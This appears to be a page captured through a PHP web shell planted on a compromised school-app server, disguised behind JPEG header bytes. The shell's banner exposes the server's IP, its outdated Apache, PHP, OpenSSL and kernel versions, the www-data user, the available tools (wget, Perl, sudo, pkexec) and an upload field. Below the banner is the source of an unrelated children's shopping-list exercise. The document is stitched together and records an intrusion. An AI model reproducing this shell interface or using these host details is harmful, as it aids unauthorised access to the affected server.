????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.48 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelF/Category2/ |
Upload File : |
<!doctype html>
<html>
<head>
<title>Circle the items to put it in the trolly</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<style type="text/css">
svg
{
position: absolute;
background-color: transparent;
}
</style>
<script>
function page_preLoad()
{
s_setDeviceTypeLevelCategoryLastLesson(Level.F, Category.No2);
s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.F, Category.No2, 10), true, true);
s_setFooterTable('id_tblFooter', true, true, true, true, true);
var ids_headings = ['id_td_heading1', 'id_td_heading2'];
var ids_texts = new Array();
for (var textId = 1; textId <= 10; textId++)
{
ids_texts.push('id_td_text' + textId);
}
var ids_All = ids_headings.concat(ids_texts);
s_adjust_fontSize_for_ids_all_devices(ids_All, 70);
var id_tables_array = ['id_table1'];
s_border_collapse_for_tables_for_all(id_tables_array);
}
function page_onLoad()
{
setAllSvgsWidthHeightAndPositionFromTds();
setAllEllipseStyles();
}
function setAllSvgsWidthHeightAndPositionFromTds()
{
var nTdsOrSets = 9;
for (var nthTdOrSet = 1; nthTdOrSet <= nTdsOrSets; nthTdOrSet++)
{
s_svg_setSvgWidthHeightAndPositionFromTd('id_td' + nthTdOrSet, 'id_svg' + nthTdOrSet);
}
}
function setAllEllipseStyles()
{
var allEllipseIdsArray = new Array();
for (var nthEllipse = 1; nthEllipse <= 33; nthEllipse++)
{
allEllipseIdsArray.push('id_ellipse' + nthEllipse);
}
for (var indexEllipse = 0; indexEllipse < allEllipseIdsArray.length; indexEllipse++)
{
var id_ellipse = allEllipseIdsArray[indexEllipse];
s_svg_setEllipseStyle(id_ellipse);
}
}
function ellipse_click(id_ellipse)
{
var eEllipse = document.getElementById(id_ellipse);
if (eEllipse.isValidated)
{
clearAllEllipses();
eEllipse = document.getElementById(id_ellipse);
}
if (eEllipse.circleColor == CircleColorSvg.None)//Transparent
{
eEllipse.style.stroke = 'blue';
eEllipse.circleColor = CircleColorSvg.Blue;
}
else if (eEllipse.circleColor == CircleColorSvg.Blue)
{
eEllipse.style.stroke = 'rgba(0, 0, 0, 0)';//Transparent
eEllipse.style.fill = 'transparent';
eEllipse.circleColor = CircleColorSvg.None;
}
}
function clearAllEllipses()
{
var allEllipseIdsArray = new Array();
for (var nthEllipse = 1; nthEllipse <= 33; nthEllipse++)
{
allEllipseIdsArray.push('id_ellipse' + nthEllipse);
}
s_svg_clearMultiEllipsesUsingIdsArray(allEllipseIdsArray);
}
function btnValidate_click()
{
var set1EllipsesCount = 0;
var set2EllipsesCount = 0;
var set3EllipsesCount = 0;
var set4EllipsesCount = 0;
var set5EllipsesCount = 0;
var set6EllipsesCount = 0;
var set7EllipsesCount = 0;
var set8EllipsesCount = 0;
var set9EllipsesCount = 0;
for (id = 1; id <= 33; id++)
{
var eEllipse = document.getElementById('id_ellipse' + id);
var isGreen = false;
if (eEllipse.circleColor == CircleColorSvg.Blue)
{
if (id >= 1 && id <= 3)//Set1
{
set1EllipsesCount++;
isGreen = (set1EllipsesCount <= 1);
}
else if (id >= 4 && id <= 6)//Set2
{
set2EllipsesCount++;
isGreen = (set2EllipsesCount <= 2);
}
else if (id >= 7 && id <= 10)//Set3
{
set3EllipsesCount++;
isGreen = (set3EllipsesCount <= 1);
}
else if (id >= 11 && id <= 12)//Set4
{
set4EllipsesCount++;
isGreen = (set4EllipsesCount <= 2);
}
else if (id >= 13 && id <= 21)//Set5
{
set5EllipsesCount++;
isGreen = (set5EllipsesCount <= 4);
}
else if (id >= 22 && id <= 24)//Set6
{
set6EllipsesCount++;
isGreen = (set6EllipsesCount <= 1);
}
else if (id >= 25 && id <= 27)//Set7
{
set7EllipsesCount++;
isGreen = (set7EllipsesCount <= 1);
}
else if (id >= 28 && id <= 30)//Set8
{
set8EllipsesCount++;
isGreen = (set8EllipsesCount <= 1);
}
else if (id >= 31 && id <= 33)//Set9
{
set9EllipsesCount++;
isGreen = (set9EllipsesCount <= 2);
}
setColor(eEllipse, isGreen);
}
}
if ((set1EllipsesCount == 1) &&
(set2EllipsesCount == 2) &&
(set3EllipsesCount == 1) &&
(set4EllipsesCount == 2) &&
(set5EllipsesCount == 4) &&
(set6EllipsesCount == 1) &&
(set7EllipsesCount == 1) &&
(set8EllipsesCount == 1) &&
(set9EllipsesCount == 2))
{
s_show_claps_animation('s_id_div_message');
}
}
function setColor(eEllipse, isGreen)
{
if (isGreen)
{
eEllipse.style.fill = 'rgba(0, 250, 0, 0.4)';//LightGreen
}
else
{
eEllipse.style.fill = 'rgba(250, 0, 0, 0.4)';//LightRed
}
}
function btnHome_click()
{
s_btnHomeCategories_click('LevelF');
}
function btnPrevious_click()
{
window.location = 'LevelFCat2Lesson09.html';
}
function btnNext_click()
{
window.location = 'LevelFCat2Lesson11.html';
}
function page_onResize()
{
for (var nthTdOrSet = 1; nthTdOrSet <= 9; nthTdOrSet++)
{
var eTd = document.getElementById('id_td' + nthTdOrSet);
var eTdRectangle = eTd.getBoundingClientRect();
var eSvg = document.getElementById('id_svg' + nthTdOrSet);
eSvg.style.left = eTdRectangle.left + 'px';
eSvg.style.top = eTdRectangle.top + 'px';
}
}
</script>
</head>
<body onload="page_onLoad()" onResize="page_onResize()">
<div id="s_id_div_message"></div>
<table id="id_tblMainiPadBody" border="1px" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0">
<tr height="100%">
<td>
<table id="id_table1" width="100%" height="100%" border="1" cellpadding="0" cellspacing="0">
<tr height="4%">
<td id="id_td_heading1" class="s_style_heading">This is the shopping list made by Mrs. Radha.</td>
</tr>
<tr height="15%">
<td style="padding-left:2%">
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr height="20%">
<td id="id_td_text1" class="s_style_textBlack_without_bold">Tea powder 1 kg.</td>
<td id="id_td_text2" class="s_style_textBlack_without_bold">Cooking oil 1 packet.</td>
</tr>
<tr height="20%">
<td id="id_td_text3" class="s_style_textBlack_without_bold">Sugar 2kg.</td>
<td id="id_td_text4" class="s_style_textBlack_without_bold">Body soaps 4.</td>
</tr>
<tr height="20%">
<td id="id_td_text5" class="s_style_textBlack_without_bold">Atta 5kg.</td>
<td id="id_td_text6" class="s_style_textBlack_without_bold">Shampoo 1 bottle.</td>
</tr>
<tr height="20%">
<td id="id_td_text7" class="s_style_textBlack_without_bold">Washing soaps 2.</td>
<td id="id_td_text8" class="s_style_textBlack_without_bold">Salt 2 packets.</td>
</tr>
<tr height="*">
<td id="id_td_text9" class="s_style_textBlack_without_bold">Washing powder 1kg.</td>
<td id="id_td_text10"> </td>
</tr>
</table>
</td>
</tr>
<tr height="4%">
<td id="id_td_heading2" class="s_style_heading">Circle the items to put it in the trolly [click to circle].</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr height="20%">
<td id="id_td1" width="50%" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/teaPackets.png" width="65%" alt="" draggable="false"/>
<svg id="id_svg1" style="visibility: hidden">
<ellipse id="id_ellipse1" cx="27%" cy="50%" rx="11%" ry="46%"/>
<ellipse id="id_ellipse2" cx="49%" cy="50%" rx="10%" ry="45%"/>
<ellipse id="id_ellipse3" cx="71%" cy="50%" rx="12%" ry="45%"/>
</svg>
</td>
<td id="id_td2" width="*" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/sugarPackets.png" width="75%" alt="" draggable="false"/>
<svg id="id_svg2" style="visibility: hidden">
<ellipse id="id_ellipse4" cx="23%" cy="50%" rx="13%" ry="45%"/>
<ellipse id="id_ellipse5" cx="51%" cy="50%" rx="15%" ry="40%"/>
<ellipse id="id_ellipse6" cx="79%" cy="49%" rx="12%" ry="45%"/>
</svg>
</td>
</tr>
<tr height="20%">
<td id="id_td3" width="50%" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/surfPackets.png" width="85%" alt="" draggable="false"/>
<svg id="id_svg3" style="visibility: hidden">
<ellipse id="id_ellipse7" cx="18%" cy="55%" rx="11%" ry="42%"/>
<ellipse id="id_ellipse8" cx="39%" cy="48%" rx="10%" ry="45%"/>
<ellipse id="id_ellipse9" cx="61%" cy="50%" rx="9%" ry="45%"/>
<ellipse id="id_ellipse10" cx="83%" cy="50%" rx="12%" ry="45%"/>
</svg>
</td>
<td id="id_td4" width="*" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/washSoaps.png" width="55%" alt="" draggable="false"/>
<svg id="id_svg4" style="visibility: hidden">
<ellipse id="id_ellipse11" cx="34%" cy="48%" rx="16%" ry="34%"/>
<ellipse id="id_ellipse12" cx="66%" cy="47%" rx="16%" ry="35%"/>
</svg>
</td>
</tr>
<tr height="20%">
<td id="id_td5" width="50%" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/bathSoaps.png" width="85%" alt="" draggable="false"/>
<svg id="id_svg5" style="visibility: hidden">
<ellipse id="id_ellipse13" cx="16%" cy="38%" rx="8%" ry="19%"/>
<ellipse id="id_ellipse14" cx="30%" cy="42%" rx="6%" ry="19%"/>
<ellipse id="id_ellipse15" cx="21%" cy="68%" rx="8%" ry="15%"/>
<ellipse id="id_ellipse16" cx="42%" cy="26%" rx="7%" ry="18%"/>
<ellipse id="id_ellipse17" cx="55%" cy="38%" rx="7%" ry="15%"/>
<ellipse id="id_ellipse18" cx="42%" cy="55%" rx="7%" ry="15%"/>
<ellipse id="id_ellipse19" cx="55%" cy="65%" rx="8%" ry="15%"/>
<ellipse id="id_ellipse20" cx="70%" cy="65%" rx="8%" ry="25%"/>
<ellipse id="id_ellipse21" cx="85%" cy="55%" rx="8%" ry="35%"/>
</svg>
</td>
<td id="id_td6" width="*" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/shampooBottles.png" width="60%" alt="" draggable="false"/>
<svg id="id_svg6" style="visibility: hidden">
<ellipse id="id_ellipse22" cx="28%" cy="48%" rx="10%" ry="44%"/>
<ellipse id="id_ellipse23" cx="49%" cy="54%" rx="9%" ry="40%"/>
<ellipse id="id_ellipse24" cx="73%" cy="56%" rx="9%" ry="40%"/>
</svg>
</td>
</tr>
<tr height="20%">
<td id="id_td7" width="50%" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/attaPackets.png" width="60%" alt="" draggable="false"/>
<svg id="id_svg7" style="visibility: hidden">
<ellipse id="id_ellipse25" cx="30%" cy="50%" rx="12%" ry="45%"/>
<ellipse id="id_ellipse26" cx="52%" cy="48%" rx="10%" ry="45%"/>
<ellipse id="id_ellipse27" cx="72%" cy="50%" rx="10%" ry="47%"/>
</svg>
</td>
<td id="id_td8" width="*" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/oilPackets.png" width="65%" alt="" draggable="false"/>
<svg id="id_svg8" style="visibility: hidden">
<ellipse id="id_ellipse28" cx="27%" cy="55%" rx="9%" ry="40%"/>
<ellipse id="id_ellipse29" cx="49%" cy="55%" rx="10%" ry="40%"/>
<ellipse id="id_ellipse30" cx="73%" cy="50%" rx="10%" ry="40%"/>
</svg>
</td>
</tr>
<tr height="*">
<td id="id_td9" width="50%" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/saltPackets.png" width="60%" alt="" draggable="false"/>
<svg id="id_svg9" style="visibility: hidden">
<ellipse id="id_ellipse31" cx="30%" cy="55%" rx="11%" ry="40%"/>
<ellipse id="id_ellipse32" cx="53%" cy="42%" rx="10%" ry="40%"/>
<ellipse id="id_ellipse33" cx="73%" cy="49%" rx="10%" ry="47%"/>
</svg>
</td>
<td width="*" align="center">
<img src="../../../img/LevelF/Category2/LevelFCat2Lesson10/trolly.png" width="30%" alt="" draggable="false"/>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
</script>
</body>
</html>